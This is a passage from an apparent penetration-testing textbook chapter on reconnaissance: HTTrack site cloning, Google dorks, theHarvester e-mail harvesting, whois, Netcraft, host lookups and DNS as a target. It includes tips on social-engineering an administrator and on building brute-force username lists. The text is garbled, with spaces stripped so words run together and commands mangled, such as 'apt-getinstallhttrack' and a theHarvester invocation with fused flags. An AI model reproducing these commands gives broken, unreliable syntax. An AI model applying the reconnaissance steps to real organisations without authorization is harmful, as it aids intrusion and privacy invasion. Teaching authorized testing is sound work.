organizationscallthisOpen-SourceIntelligence(OSINT).Thegreatthingaboutthis phase is that in most cases, we can gather a significant amount of datawithouteversendingasinglepackettothetarget.Althoughitshouldbepointedout that some tools or techniques used in reconnaissance do in fact sendinformationdirectlytothetarget,itisimportanttoknowthedifferencebetweenwhichtoolsdoandwhichtoolsdonottouchthetarget.Therearetwomaingoalsinthisphase:first,weneedtogatherasmuchinformationaspossibleaboutthetarget;second,weneedtosortthroughalltheinformationgatheredandcreatealistofattackableIPaddressesoruniformresourcelocators(URLs).InChapter1,itwaspointedoutthatamajordifferencebetweenblackhatand

whitehatattackersisauthorization.Step1providesuswithaprimeexampleofthis.Both typesofhackersconductexhaustive reconnaissanceon their targets.Unfortunately,malicioushackersareboundbyneitherscopenorauthorization.When ethical hackers conduct research, they are required to staywithin the

confinesof the test (i.e. scope).During the informationgatheringprocess, it isnotunheard-offorahackertouncoveravulnerablesystemthatisrelatedtothetargetbutnotownedbythetarget.Eveniftherelatedtargetcouldprovideaccessintotheoriginalorganization,withoutpriorauthorization,awhitehathackerisnotallowedtouseorexplorethisoption.Forexample,letusassumethatyouaredoing a penetration test against a company and you determine that their webserver (which contains customer records) is outsourcedormanagedby a thirdparty.Ifyoufindaseriousvulnerabilityonthecustomer’swebsite,butyouhavenotbeenexplicitlyauthorizedtotestandusethewebsite,youmustignoreit.Theblackhatattackersareboundbynosuchrulesandwilluseanymeanspossibletoaccessthetargetsystems.Inmostcases,becauseyouwerenotauthorizedtotestandexaminetheseoutsidesystems,youwillnotbeabletoprovidealotofdetail;however,yourfinalreportmustincludeasmuchinformationaspossibleaboutanysystemsthatyoubelieveputtheorganizationatrisk.

ADDITIONALINFORMATIONAsapenetrationtester,whenyouuncoverrisksthatfalloutsidethescopeofyourcurrentengagement,youshouldmakeeveryeffortto

obtain proper authorization and expand the scope of your test.Oftentimes, thiswill requireyou toworkcloselywithyourclientandtheirvendorsinordertoproperlyexplainpotentialrisks.

Tobesuccessfulatreconnaissance,youmusthaveastrategy.Nearlyallfacetsof informationgathering leverage thepowerof the Internet.A typical strategyneedstoincludebothactiveandpassivereconnaissance.Active reconnaissance includes interacting directly with the target. It is

importanttonotethatduringthisprocess, thetargetmayrecordourIPaddressand log our activity. This has a higher likelihood of being detected if we areattemptingtoperformaPTinastealthfashion.Passivereconnaissancemakesuseofthevastamountofinformationavailable

on the web. When we are conducting passive reconnaissance, we are notinteractingdirectlywiththetargetandassuch,thetargethasnowayofknowing,recording,orloggingouractivity.Asmentioned,thegoalofreconnaissanceistocollectasmuchinformationas

possibleonyourtarget.Atthispointinthepenetrationtest,nodetailshouldbeoverlookedregardlessofhowinnocuousitmayseem.Whileyouaregatheringinformation, it is important to keep your data in a central location.Wheneverpossible, it ishelpful tokeep the information inelectronic format.Thisallowsfor quick and accurate searches later on. Digital records can be easily sorted,edited, copied, imported, pruned, and mined. Even so, every hacker is a bitdifferentand thereare still somepenetration testerswhoprefer toprintoutalltheinformationtheygather.Eachpieceofpaperiscarefullycatalogedandstoredin a folder. If you are going to use the traditional paper method, be sure tocarefullyorganizeyourrecords.Paper-basedinformationgatheringbindersonasingletargetcanquicklygrowtoseveralhundredpages.In most cases, the first activity is to locate the target’s website. In our

example,wewoulduseasearchenginetolookfor“Syngress”.

ALERT!Eventhoughwerecentlydiscussedtheimportanceofcreatingandusing a “sandboxed hacking lab” to ensure no traffic leaves your

network, practicing reconnaissance requires a live Internetconnection! If you want to follow along with the tools andexamples in this chapter, you will need to connect your attackmachinetotheInternet.

HTTrack:WebsiteCopierTypically,we begin Step 1 by closely reviewing the target’swebsite. In somecases, itmaybe helpful to use a tool calledHTTrack tomake a page-by-pagecopyof thewebsite.HTTrack is a free utility that creates an identical, offlinecopyofthetargetwebsite.Thecopiedwebsitewillincludeallthepages,links,pictures, and code from the original website; however, it will reside on yourlocal computer. Utilizing a website-copying tool like HTTrack allows us toexplore and thoroughly mine the website “offline” without having to spendadditionaltimetraipsingaroundonthecompany’swebserver.

ADDITIONALINFORMATIONIt is important to understand that the more time you spendnavigating and exploring the target website, themore likely it isthatyouractivitycanbetrackedortraced(evenifyouaresimplybrowsingthesite).Rememberanytimeyouinteractdirectlywitharesource owned by the target, there is a chance youwill leave adigitalfingerprintbehind.Advanced penetration testers can also run automated tools to

extract additional or hidden information from a local copy of awebsite.HTTrack can be downloaded directly from the company’s

website at http://www.httrack.com/. Installing for Windows is assimpleasdownloading the installer .exeandclickingnext. IfyouwanttoinstallHTTrackinKalioryourLinuxattackmachine,youcan connect to the Internet aswe described inChapter1, open aterminal,andtype

apt-getinstallhttrack

Pleasenote,thereisalsoagraphicaluserinterface(GUI)version

ofHTTrackbut fornowwewill focuson the terminalversion. IfyouprefertousetheGUIyoucanalwaysinstallitatalaterdate.Once the program is installed, you can run it by opening a

terminalandtypinghttrack

Beforeproceeding,itisimportanttounderstandthatcloningawebsiteiseasytotraceandoftenconsideredhighlyoffensive.Neverrunthistoolwithoutpriorauthorization.AfterstartingHTTrackfromtheterminal,theprogramwillguideyou through a series of basic questions before it begins to copy the target’swebsite.Inmostcasesyoucansimplyhitthe“Enter”keytoacceptthedefaultanswers.Ataminimum,youwillneedtoenteraprojectnameandavalidURLtocopy.Besuretotakealittletimeandreadeachquestionbeforeansweringorblindly accepting the default answer. When you are done answering thequestionsyouwillneedtoenter“Y”tobeginthecloningprocess.Dependingonthe size of the target website, this can take anywhere from a few seconds toseveral hours. Remember, because you are creating an exact replica of thewebsite,theamountofavailablediskspaceonyourlocalcomputerneedstobeconsidered.Largewebsites can require extensive hard drive space.Always besureyouhaveenoughroombeforebeginningyourcopy.WhenHTTrackcompletestheprocess,youwillbepresentedwithamessage

in the terminal that says “Done.Thanks for usingHTTrack!” If you areusingKaliandacceptedthedefaultoptions,HTTrackwillplacetheclonedsiteintothedirectoryrootwebsites/<project_name> you cannowopenFirefox and enterthe address: rootwebsites/<project_name> into the URL bar. Note the<project_name>willneedtobesubstitutedforthenameyouusedwhensettingupyourcopy.Youcaninteractwiththecopiedwebsitebyclickingonthelinksinthebrowser.Agoodplacetostartisusuallytheindex.htmlfile.Firefoxcanbefoundbynavigatingtheapplicationmenu/icononthedesktop

orbyopeningaterminalandtypingfirefox

Whether youmake a copy of the target website or you simply browse thetargetinrealtime,itisimportanttopayattentiontodetails.Youshouldbeginbyclosely reviewing and recording all the information you find on the target’swebsite. Oftentimes, with very little digging, you will be able to make some

significantfindingsincludingphysicaladdressandlocations,phonenumbers,e-mail addresses, hours of operation, business relationships (partnerships),employeenames,socialmediaconnections,andotherpublictidbits.Whenconductingapenetrationtest,itisimportanttopayspecialattentionto

things like “News” or “Announcements”. Companies are often proud of theirachievementsandunintentionallyleakuseful informationthroughthesestories.Companymergersandacquisitionscanalsoyieldvaluabledata;thisisespeciallyimportant for expanding the scope and adding additional targets to ourpenetrationtest.Eventhesmoothestofacquisitionscreateschangeanddisarrayinanorganization.There isalwaysa transitionperiodwhencompaniesmerge.Thistransitionperiodprovidesuswithuniqueopportunitiestotakeadvantageofthechangeandconfusion.Evenifthemergerisoldnewsorgoesoffwithoutahitch,theinformationstillprovidesvaluebygivingusadditionaltargets.Mergedorsiblingcompaniesshouldbeauthorizedandincludedintheoriginaltargetlist,astheyprovideapotentialgatewayintotheorganization.Finally, it is important to search and review any open job postings for the

target company. Technical job postings often reveal very detailed informationabout the technologybeingusedbyanorganization.Many timesyouwill findspecifichardwareandsoftwarelistedonthejobopening.Donotforgettosearchfor your target in the nationwide jobbanks aswell. For example, assumeyoucomeacrossa job requisition looking for aNetworkAdministratorwithCiscoASAexperience.Fromthispost,youcandrawsomeimmediateconclusionsandmakesomeeducatedguesses.First,youcanbecertainthat thecompanyeitherusesorisabouttouseaCiscoASAfirewall.Second,dependingonthesizeoftheorganization,youmaybeabletoinferthatthecompanydoesnothave,orisabouttolose,someonewithknowledgeofhowtoproperlyuseandconfigureaCiscoASAfirewall. Ineithercase,youhavegainedvaluableknowledgeaboutthetechnologyinplace.Inmost cases, oncewe have thoroughly examined the target’s website, we

should have a solid understanding of the target including who they are, whattheydo,wheretheyarelocated,andasolidguessaboutthetechnologytheyuse.Armed with this basic information about the target, we can conduct some

passivereconnaissance. It isverydifficult, ifnot impossible, foracompany todetermine when a hacker or penetration tester is conducting passivereconnaissance. This activity offers a low-risk, high-reward situation forattackers.Recallthatpassivereconnaissanceisconductedwithouteversendingasinglepackettothetargetsystems.Onceagain,ourweaponofchoicetoperform

this task is the Internet. We begin by performing exhaustive searches of ourtargetinthevarioussearchenginesavailable.Althoughtherearemanygreatsearchenginesavailabletoday,whencovering

thebasicsofhackingandpenetrationtesting,wewillfocusonGoogle.Googleisvery,verygoodatitsjob.Thereisareasonwhythecompany’sstocktradesfor$400−600ashare.SpidersfromthecompanyaggressivelyandrepeatedlyscourallcornersoftheInternetcataloginginformationandsenditbacktotheGoogleservers. The company is so efficient at its job, that oftentimes hackers canperformanentirepenetrationtestusingnothingbutGoogle.AtDefcon 13, JohnnyLong rocked the hacker community by giving a talk

titled “Google Hacking for Penetration Testers”. The talk by Johnny wasfollowedupbyabookthatwentevendeeperintotheartofGoogleHacking.

ADDITIONALINFORMATIONIf you are interested in penetration testing, it is highly suggestedthatyouwatchJohnnyLong’svideoandtakealookattheGoogleHackingbook.Youcanseethevideoforfreeonlinebysearchingthe Defcon media archive available athttp://www.defcon.org/html/links/dc-archives.html. Johnny’s bookis published by Syngress and available nearly anywhere. Hisdiscoveries and their continued evolvement have changedpenetration testing and security forever. Johnny’s material isawesomeandwellworthyourtime.

Although we will not dive into the specifics of Google hacking, a solidunderstanding of how to use Google properly is vital to becoming a skilledpenetrationtester.Ifyouaskpeople“HowdoyouuseGoogle?”,theytypicallyrespondby saying“Well it’s simple…You fireup awebbrowser, navigate togoogle.com,andtypewhatyou’researchingforintothebox.”While this answer is fine for 99% of the planet, it is not good enough for

aspiringhackersandpenetrationtesters.Youhavetolearntosearchinasmarterwayandmaximizethereturnresults.Inshort,youmustcultivateyourGoogle-Fu. Learning how to use a search engine like Google properly will save you

timeandallowyoutofindthehiddengemsthatareburiedinthetrillionsofwebpagesintheInternettoday.

GoogleDirectives:PracticingYourGoogle-FuLuckilyforus,Googleprovides“directives”thatareeasytouseandhelpusgetthemost out of every search.These directives are keywords that enable us tomoreaccuratelyextractinformationfromtheGoogleIndex.Consider thefollowingexample:assumeyouare lookingfor informationon

theDakota State University (DSU)website (dsu.edu) aboutme. The simplestway to perform this search is to enter the following terms in aGoogle searchbox: pat engebretson dsu. This search will yield a fair number of hits.However(atthetimeofthiswriting),onlyfourofthefirst10websitesreturnedwerepulleddirectlyfromtheDSUwebsite.By utilizing Google directives, we can force the Google index to do our

bidding. In the example above, we know both the target website and thekeywords we want to search. More specifically, we are interested in forcingGoogle to returnonly results that are pulled directly from the target (dsu.edu)domain.Inthiscase,ourbestchoiceistoutilizethe“site:”directive.Usingthe“site:”directiveforcesGoogletoreturnonlyhitsthatcontainthekeywordsweusedandcomedirectlyfromthespecifiedwebsite.ToproperlyuseaGoogledirective,youneedthreethings:1.Thenameofthedirectiveyouwanttouse2.Acolon3.Thetermyouwanttouseinthedirective.

Afteryouhaveenteredthethreepiecesofinformationabove,youcansearchas you normally would. To utilize the “site:” directive, we need to enter thefollowingintoaGooglesearchbox:

site:domainterm(s)tosearch

Note that there isnospacebetweenthedirective,colon,anddomain. Inourearlierexample,wewantedtoconductasearchforPatEngebretsonontheDSUwebsite. To accomplish this,wewould enter the following command into theGooglesearchbar:

site:dsu.edupatengebretson

Running this search provides us with drastically different results than ourinitialattempt.First,wehavetrimmedtheoverallnumberofhitsfrom12,000+down to more manageable 155. There is little doubt that a person can sortthroughandgatherinformationfrom155hitsmuchquickerthan12,000.Second

andpossiblymoreimportantly,everysinglereturnedresultcomesdirectlyfromthe target website. Utilizing the “site:” directive is a great way to search aspecifictargetandlookforadditionalinformation.Thisdirectiveallowsyoutoavoidsearchoverloadandtofocusyoursearch.

ALERT!ItisworthnotingthatallsearchesinGooglearecaseinsensitiveso“pat”,“Pat”,and“PAT”willallreturnthesameresults!

Another good Google directive to use is “intitle:” or “allintitle:”. Addingeitherofthesetoyoursearchcausesonlywebsitesthathaveyoursearchwordsinthetitleofthewebpagetobereturned.Thedifferencebetween“intitle:”and“allintitle:”isstraightforward.“allintitle:”willonlyreturnwebsitesthatcontainall the keywords in theweb page title. The “intitle:” directivewill return anypagewhosetitlecontainsatleastoneofthekeywordsyouentered.A classic example of putting the “allintitle:” Google hack to work is to

performthefollowingsearch:allintitle:indexof

Performingthissearchwillallowustoviewalistofanydirectoriesthathavebeenindexedandareavailableviathewebserver.Thisisoftenagreatplacetogatherreconnaissanceonyourtarget.IfwewanttosearchforsitesthatcontainspecificwordsintheURL,wecan

usethe“inurl:”directive.Forexample,wecanissuethefollowingcommandtolocatepotentiallyinterestingpagesonourtarget’swebpage:

inurl:admin

This search can be extremely useful in revealing administrative orconfigurationpagesonyourtarget’swebsite.ItcanalsobeveryvaluabletosearchtheGooglecacheratherthanthetarget’s

website. This process not only reduces your digital footprints on the target’sserver, making it harder to catch you, it also provides a hacker with theoccasionalopportunitytoviewwebpagesandfilesthathavebeenremovedfromtheoriginalwebsite.TheGooglecachecontainsastripped-downcopyofeachwebsite that the Google bots have spidered and cataloged. It is important tounderstandthatthecachecontainsboththecodeusedtobuildthesiteandmany

ofthefilesthatwerediscoveredduringthespideringprocess.Thesefilescanbeportabledocumentformats(PDFs),MSOfficedocumentslikeWordandExcel,textfiles,andmore.It is not uncommon today for information to be placed on the Internet by

mistake. Consider the following example. Suppose you are a networkadministrator for a company.You useMSExcel to create a simpleworkbookcontainingall the IP addresses, computernames, and locationsof thepersonalcomputers (PCs) in your network.Rather than carrying thisExcel spreadsheetaround, you decide to publish it to your company’s intranet where it will beaccessible only by people within your organization. However, rather thanpublishingthisdocumenttotheintranetwebsite,youmistakenlypublishittothecompany Internetwebsite. If theGooglebots spider your site before you takethisfiledown,itispossiblethatthedocumentwillliveonintheGooglecacheeven after you have removed it from your site.As a result, it is important tosearchtheGooglecachetoo.We can use the cache: directive to limit our search results and show only

information pulled directly from theGoogle cache. The following searchwillprovideuswiththecachedversionoftheSyngresshomepage:

cache:syngress.com

ItisimportantthatyouunderstandthatclickingonanyoftheURLswillbringyou to the live website, not the cached version. If youwant to view specificcachedpages,youwillneedtomodifyyoursearch.Thelastdirectivewewillcoverhereis“filetype:”.Wecanutilize“filetype:”

tosearchforspecificfileextensions.Thisisextremelyusefulforfindingspecifictypes of files on your target’s website. For example, to return only hits thatcontainPDFdocuments,youwouldissuethefollowingcommand:

filetype:pdf

Thispowerfuldirectiveisagreatwaytofindlinkstospecificfileslike.doc,xlsx,ppt,txt,andmanymore.Youroptionsarenearlylimitless.For additional flexibility,we can combinemultiple directives into the same

search.Forexample,ifwewanttofindallthePowerPointpresentationsontheDSUwebsite,youwouldenterthefollowingcommandintothesearchbox:

site:dsu.edufiletype:pptx

In this case, every result that is returned is a PowerPoint file and comesdirectly from the dsu.edu domain! Figure 2.1 shows a screenshot of twosearches: the first utilizes Google directives and the second shows the resultsfromatraditionalsearch.UtilizingGoogledirectiveshasdrasticallyreducedthenumberofhits(by186,950!).

FIGURE2.1 ThepowerofGoogledirectives.

Oftentimes,GoogleHackingcanalsobereferredtoas“GoogleDorks”.Whenanapplicationhasaspecificvulnerability,hackersandsecurityresearcherswilltypically place a Google Dork in the exploit, which allows you to search forvulnerableversionsutilizingGoogle.Theexploit-db.comwebsitewhich is runbythefolkswhocreatedBackTrackandKaliLinux(Offensive-Security)hasanextensive list of GoogleDorks and additional GoogleHacking Techniques. Ifyou visit http://www.exploit-db.com and go to the Google Hacking Database(GHDB)link(Figure2.2):

FIGURE2.2 Utilizingtheexploit-dbtoaccesstheGHDB.

Youcanselectwhattolookforandusethelargerepositorywithintheexploit-db.comwebsitetohelpaidyouinyourtarget(Figure2.3).

FIGURE2.3 SelectingacategoryfromtheGHDB.

SomeotheronesthatoftenhaveahighyieldofsuccesswithGooglearethefollowing:

inurl:login

orthefollowing:

Logon

Signin

Signon

Forgotpassword

Forgot

Reset

These will help you find common login or similar pages that may havedynamiccontent.Alotoftimesyoucanfindvulnerabilitieswithinthesepages.

site:syngress.comintitle:"indexof"

Thisonewill listanydirectorybrowsingwhichwill listeverythingwithinadirectory.Syngressdoesnothaveanyofthesevulnerabilitiesexposedhowever,is a common way to find additional files that may not be normally accessedthroughwebpages.There aremanyother typesof directives andGooglehacks that you should

become familiar with. Along with Google, it is important that you becomeefficientwithseveralothersearchenginesaswell.Oftentimes,differentsearchengines will provide different results, even when you search for the samekeywords.Asapenetrationtesterconductingreconnaissance,youwanttobeasthoroughaspossible. It isworthyour timeto learnhowto leverage thesearchcapabilitiesofYahoo,Bing,Ask,Dogpile,andmanymore.As a finalwarning, it should be pointed out that these passive searches are

onlypassiveaslongasyouaresearching.Onceyoumakeaconnectionwiththetargetsystem(byclickingonanyofthelinks),youarebacktoactivemode.Beawarethatactivereconnaissancewithoutpriorauthorizationcouldbeviewedasanillegalactivity.Once you have thoroughly reviewed the target’s web page and conducted

exhaustivesearchesutilizingGoogleandothersearchengines,itisimportanttoexploreother cornersof the Internet.NewsgroupsandBulletinBoardSystemslikeUseNet andGoogleGroups can be very useful for gathering informationabout a target. Support forums, Internet Relay Chart, and even “live chat”featuresthatallowyoutotalktoarepresentativeofthecompanycanbeusefulin extracting information. It is not uncommon for people to use discussionboards and support forums to post and receive help with technical issues.Unfortunately (or fortunately, depending on which side of the coin you arelookingat),employeesoftenpostverydetailedquestionsincludingsensitiveandconfidentialinformation.Forexample,consideranetworkadministratorwhoishaving troublegettinghis firewall properly configured. It is not uncommon tofind discussions on public forums where these admins will post entire,unredacted sectionsof their config files.Tomakemattersworse,manypeoplecreate posts using their company e-mail address. This information is a virtualgoldmineforanattacker.Evenifournetworkadminissmartenoughnottopostdetailedconfiguration

files,itishardtogetsupportfromthecommunitywithoutinadvertentlyleakingsomeinformation.Readingevencarefullyscrubbedandredactedpostswilloftenreveal specific software version, hardware models, current configurationinformation,andthelikeaboutinternalsystems.AllthisinformationshouldbefiledawayforfutureuseinthePT.Publicforumsareanexcellentwaytoshareinformationandreceivetechnical

help. However, when using these resources, be careful to use a slightlymoreanonymous e-mail address like Gmail or Hotmail, rather than your corporateaddress.TheexplosivegrowthinsocialmedialikeFacebookandTwitterprovidesus

with new avenues to mine data about our targets. When performingreconnaissance,itisagoodideatousethesesitestoouradvantage.Considerthefollowing fictitious example. You are conducting a penetration test against asmall company.Your reconnaissance has led you to discover that the networkadministrator for the company has a Twitter, Facebook, and Steam account.Utilizing a little social engineering, you befriend the unsuspecting admin and

followhimonbothFacebook andTwitter.After a fewweeksof boringposts,you strike the jackpot. He makes a post on Facebook that says “Great.Firewalleddiedwithoutwarning today.Newonebeing sentover-night.LookslikeI’llbepullinganall-nightertomorrowtogetthingsbacktonormal.”Another example would be a PC tech who posts, “Problem with latest

Microsoftpatch,hadtouninstall.WillcallMSinthemorning.”Or even the following, “Just finished the annual budget process.Looks like

I’mstuckwiththatWin2Kserverforanotheryear.”Althoughtheseexamplesmayseemabitoverthetop,youwillbesurprisedat

theamountofinformationyoucancollectbysimplymonitoringwhatemployeespostonline.

TheHarvester:DiscoveringandLeveragingE-mailAddressesAnexcellent tool touse in reconnaissance is theHarvester.TheHarvester isasimplebuthighlyeffectivePythonscriptwrittenbyChristianMartorellaatEdgeSecurity. This tool allows us to quickly and accurately catalog both e-mailaddressesandsubdomainsthataredirectlyrelatedtoourtarget.ItisimportanttoalwaysusethelatestversionoftheHarvesterasmanysearch

engines regularly update and change their systems. Even subtle changes to asearchengine’sbehaviorcanrenderautomatedtoolsineffective.Insomecases,searchengineswillactuallyfiltertheresultsbeforereturninginformationtoyou.Many search engines also employ throttling techniques that will attempt topreventyoufromrunningautomatedsearches.TheHarvester can be used to searchGoogle, Bing, and PGP servers for e-

mails,hosts,andsubdomains.ItcanalsosearchLinkedInforusernames.Mostpeople assume their e-mail address is benign.We have already discussed thedangers of posting to public forums using your corporate e-mail address;however, there are additional hazards you should be aware of. Let us assumeduring your reconnaissance you discover the e-mail address of an employeefrom your target organization. By twisting and manipulating the informationbeforethe“@”symbol,weshouldbeabletocreateaseriesofpotentialnetworkuser names. It is not uncommon for organizations to use the exact, same usernames and e-mail addresses (before the “@” symbol). With a handful ofprospectiveusernames,wecanattempttobruteforceourwayintoanyservices,like Secure Shell, Virtual PrivateNetworks (VPNs), or File Transfer Protocol

(FTP),thatwe(will)discoverduringStep2(scanning).TheHarvesterisbuiltintoKali.ThequickestwaytoaccesstheHarvesteristo

openaterminalwindowandissuethecommand:theharvester.Ifyouneedthefull path to the programandyou are usingKali, theHarvester (andnearly allother tools) can be found in the usrbin/ directory. However, recall that onemajoradvantagetoKaliisthatyounolongerneedtospecifythefullpathtorunthesetools.Simplyopeningtheterminalandenteringthetool’sstartcommandwillinvokeit.Forexample,toruntheharvester,openaterminalandissuingthefollowingcommand:

theharvester

Youcouldalsoissuethefullpathtoruntheprogram:usrbin/theharvester

IfyouareusingadifferentversionofBacktrackorKaliorareunabletofindtheHarvester(oranytooldiscussedinthisbook)atthespecifiedpath,youcanusethelocatecommandtohelpfindwherethetoolisinstalled.Inordertousethe locatecommandyouneed to first run theupdatedb command.To findoutwhere theHarvester is installed onyour system, open a terminal and type thecommand:

updatedb

Followedbythecommand:locatetheharvester

Theoutputfromthelocatecommandcanbeveryverbose,butcarefulreviewof the list should help you determine where the missing tool is installed. Aspreviouslymentioned,nearlyallthepenetrationtestingtoolsinKaliarelocatedinasubdirectoryoftheusrbin/folder.

ALERT!IfyouareusinganOSotherthanKali,youcandownloadthetooldirectlyfromEdgeSecurityathttp://www.edge-security.com.Onceyou have got it downloaded, you can unpack the downloaded tarfilebyrunningthefollowingcommandinaterminal:

tarxftheHarvester

Pleasenotethecapital“H”thatisusedwhenuntarringthecode.Linux is case-sensitive, so the OS sees a difference between“theHarvester” and“theharvester”.Youwill need topayattentionto the executable to determine if you should use a capital or

lowercase“h”.Ifthecasesdonotmatchexactly,youwilltypicallyget amessage saying “no such file or directory”. This is a goodindicationthatyouhavemistypedthenameofthefile.

RegardlessofwhetheryouhavedownloadedtheHarvesterorusedtheversionpreinstalled on your attack machine, we will use it to collect additionalinformationaboutourtarget.BesureyouareintheHarvesterfolderandrunthefollowingcommand:

./theharvester.py–dsyngress.com–l10–bgoogleThiscommandwillsearchfore-mails,subdomains,andhosts thatbelongto

syngress.com.Figure2.4showsourresults.

FIGURE2.4 OutputoftheHarvester.

Beforediscussingtheresultsofourtool,letusexaminethecommandalittlecloser.“./theHarvester.py”isusedtoinvokethetool.Alowercase“–d”isusedto

specifythetargetdomain.Alowercase“–l”(thatisanLnotan1)isusedtolimitthenumberofresultsreturnedtous.Inthiscase,thetoolwasinstructedtoreturnonly10results.The“–b” isused tospecifywhatpublicrepositorywewant tosearch. We can choose from a wide variety including Google, Bing, PGP,LinkedIn,andmore—forthisexample,wechosetosearchusingGoogle.Ifyouarenotsurewhichdatasource touse foryoursearch,youcanalsouse the–ball switch to simultaneously search all the repositories that theHarvester canuse.Nowthatyoufullyunderstandthecommandusedtorunthetool,letustakea

lookattheresults.As you can see, the Harvester was effective in locating several e-mail

addresses thatcouldbeofvalue tous.Pleasenote that thee-mailaddresses inthe screenshot have been obfuscated. The Harvester was also successful infinding two subdomains. Both “booksite.syngress.com” and“www.syngress.com” need to be fully recon’d. We simply add these newdomainstoourtargetlistandbeginthereconnaissanceprocessagain.Step 1 of reconnaissance is very cyclical because in-depth reconnaissance

often leads to the discovery of new targets, which, in turn, lead to additionalreconnaissance.Asaresult,theamountoftimetocompletethisphasewillvaryfromseveralhourstoseveralweeks.Remember,adeterminedmalicioushackerunderstandsnotonlythepowerofgoodreconnaissancebutoftenhastheabilitytospendanearlylimitlessamountoftime.Asanaspiringpenetrationtester,youshoulddevoteasmuchtimeaspossibletopracticingandconductinginformationgathering.

WhoisA very simple but effectivemeans for collecting additional information aboutourtargetisWhois.TheWhoisserviceallowsustoaccessspecificinformationabout our target including the IP addresses or host names of the company’sDomainName Systems (DNS) servers and contact informationwhich usuallycontainsanaddressandaphonenumber.Whois isbuilt into theLinuxOS.Thesimplestway touse thisservice is to

openaterminalandenterthefollowingcommand:whoistarget_domain

For example, to find out information about Syngress, we would issue thefollowing command: whois syngress.com. Figure 2.5 shows a partial output

fromtheresultofthistool.

FIGURE2.5 PartialoutputfromaWhoisquery.

It is important to record all the information andpay special attention to theDNSservers.IftheDNSserversarelistedbynameonly,asshowninFigure2.5,wewilluse theHost command to translate thosenames into IPaddresses.Wewill discuss the host command in the next section. You can also use a webbrowsertosearchWhois.Bynavigatingtohttp://www.whois.net,youcansearchforyourtargetinthe“WHOISLookup”boxasshowninFigure2.6.

FIGURE2.6 Whois.netaweb-basedLookuptool.

Againitisimportanttocloselyreviewtheinformationyouarepresentedwith.Sometimes,theoutputwillnotprovidemanydetails.Wecanoftenaccesstheseadditionaldetailsbyqueryingthespecificwhoisserverlistedintheoutputofouroriginalsearch.Figure2.7showsanexampleofthis.

FIGURE2.7 Whoisoutputshowingwheretogoforadditionaldetails.

Whenavailable,wecanconductafurtherWhoissearchbyfollowingthelinkprovidedinthe“ReferralURL:”field.YoumayhavetosearchthewebpageforalinktotheirWhoisservice.ByusingSafename’sWhoisservice,wecanextractasignificantlylargeramountofinformationasshownhere:

The Registry database contains ONLY .COM, .NET, .EDU domains

and

Registrars.[whois.safenames.net]

SafenamesWhoisServerVersion2.0

DomainName:SYNGRESS.COM[REGISTRANT]

OrganisationName:ElsevierLtd

ContactName:DomainManager

AddressLine1:TheBoulevard

AddressLine2:LangfordLane,Kidlington

City/Town:Oxfordshire

State/Province:

Zip/Postcode:OX51GB

Country:UK

Telephone:+44(18658)43830

Fax:+44(18658)53333

Email:[email protected][ADMIN]

OrganisationName:SafenamesLtd

ContactName:InternationalDomainAdministrator

AddressLine1:POBox5085

AddressLine2:

City/Town:MiltonKeynesMLO

State/Province:Bucks

Zip/Postcode:MK63ZE

Country:UK

Telephone:+44(19082)00022

Fax:+44(19083)25192

Email:[email protected][TECHNICAL]

OrganisationName:InternationalDomainTech

ContactName:InternationalDomainTech

AddressLine1:POBox5085

AddressLine2:

City/Town:MiltonKeynesMLO

State/Province:Bucks

Zip/Postcode:MK63ZE

Country:UK

Telephone:+44(19082)00022

Fax:+44(19083)25192

Email:[email protected]

NetcraftAnother great source of information is Netcraft. You can visit their site athttp://news.netcraft.com.Start by searching for your target in the “What’s thatsiteRunning?”textboxasshowninFigure2.8.

FIGURE2.8 Netcraftsearchoption.

Netcraftwillreturnanywebsitesitisawareofthatcontainyoursearchwords.In our example, we are presented with three sites: syngress.com,www.syngress.com, and booksite.syngress.com. If any of these sites haveescapedourprevioussearches,itisimportanttoaddthemtoourpotentialtargetlist.Thereturnedresultspagewillallowustoclickona“SiteReport”.Viewingthe site report should provide uswith some valuable information as shown inFigure2.9.

FIGURE2.9 SitereportforSyngress.com.

Asyoucansee,thesitereportprovidesuswithsomegreatinformationaboutourtargetincludingtheIPaddressandOSofthewebserveraswellastheDNSserver.Onceagainallthisinformationshouldbecatalogedandrecorded.

HostOftentimes, our reconnaissance effortswill result inhost names rather than IPaddresses.Whenthisoccurs,wecanusethe“host”tooltoperformatranslationfor us. The host tool is built intomostLinux systems includingKali.We canaccessitbyopeningaterminalandtyping:

hosttarget_hostname

Supposeinourprevioussearches,weuncoveredaDNSserverwiththehostname“ns1.dreamhost.com”.TotranslatethisintoanIPaddress,wewouldenterthefollowingcommandinaterminal:

hostns1.dreamhost.comFigure2.10showstheresultofthistool.

FIGURE2.10 Hostcommandoutput.

Thehostcommandcanalsobeusedinreverse.ItcanbeusedtotranslateIPaddressesintohostnames.Toperformthistask,simplyenter

hostIP_address

Using the “–a” switch will provide you with verbose output and possiblyreveal additional information about your target. It is well worth your time toreview the “host” documentation and help files.You can do so by issuing the“man host” command in a terminal window. This help file will allow you tobecomefamiliarwiththevariousoptionsthatcanbeusedtoprovideadditionalfunctionalitytothe“host”tool.

ExtractingInformationfromDNSDNS servers are an excellent target for hackers and penetration testers. Theyusuallycontaininformationthatisconsideredhighlyvaluabletoattackers.DNSisacorecomponentofbothour localnetworksand the Internet.Amongotherthings, DNS is responsible for the process of translating domain names to IPaddresses.Ashumans,itismucheasierforustoremember“google.com”ratherthanhttp://74.125.95.105.However,machinespreferthereverse.DNSservesasthemiddlemantoperformthistranslationprocess.Aspenetrationtesters,itisimportanttofocusontheDNSserversthatbelong

to our target. The reason is simple. In order for DNS to function properly, itneedstobeawareofboththeIPaddressandthecorrespondingdomainnameofeachcomputeronitsnetwork.Intermsofreconnaissance,gainingfullaccesstoacompany’sDNSserverislikefindingapotofgoldattheendofarainbow.Or

maybe,moreaccurately,itislikefindingablueprinttotheorganization.Butinthis case, the blueprint contains a full listingof internal IP addresses andhostnames that belong to our target. Remember one of the key elements ofinformationgatheringistocollectIPaddressesthatbelongtothetarget.Aside from the pot of gold, another reason why picking on DNS is so

enjoyable is that inmanycases these servers tend tooperateon the“if it isn’tbroke,don’ttouchit”principle.Inexperienced network administrators often regard their DNS servers with

suspicion andmistrust. Oftentimes, they choose to ignore the box completelybecause they do not fully understand it. As a result, patching, updating, orchangingconfigurationson theDNSserver isoftena lowpriority.Add this tothe fact that most DNS servers appear to be very stable (as long as theadministrator is not monkeying with it) and you have a recipe for a securitydisaster.TheseadminswronglylearnearlyintheircareerthatthelesstheymesswiththeirDNSservers,thelesstroubleitseemedtocausethem.As a penetration tester, given the number of misconfigured and unpatched

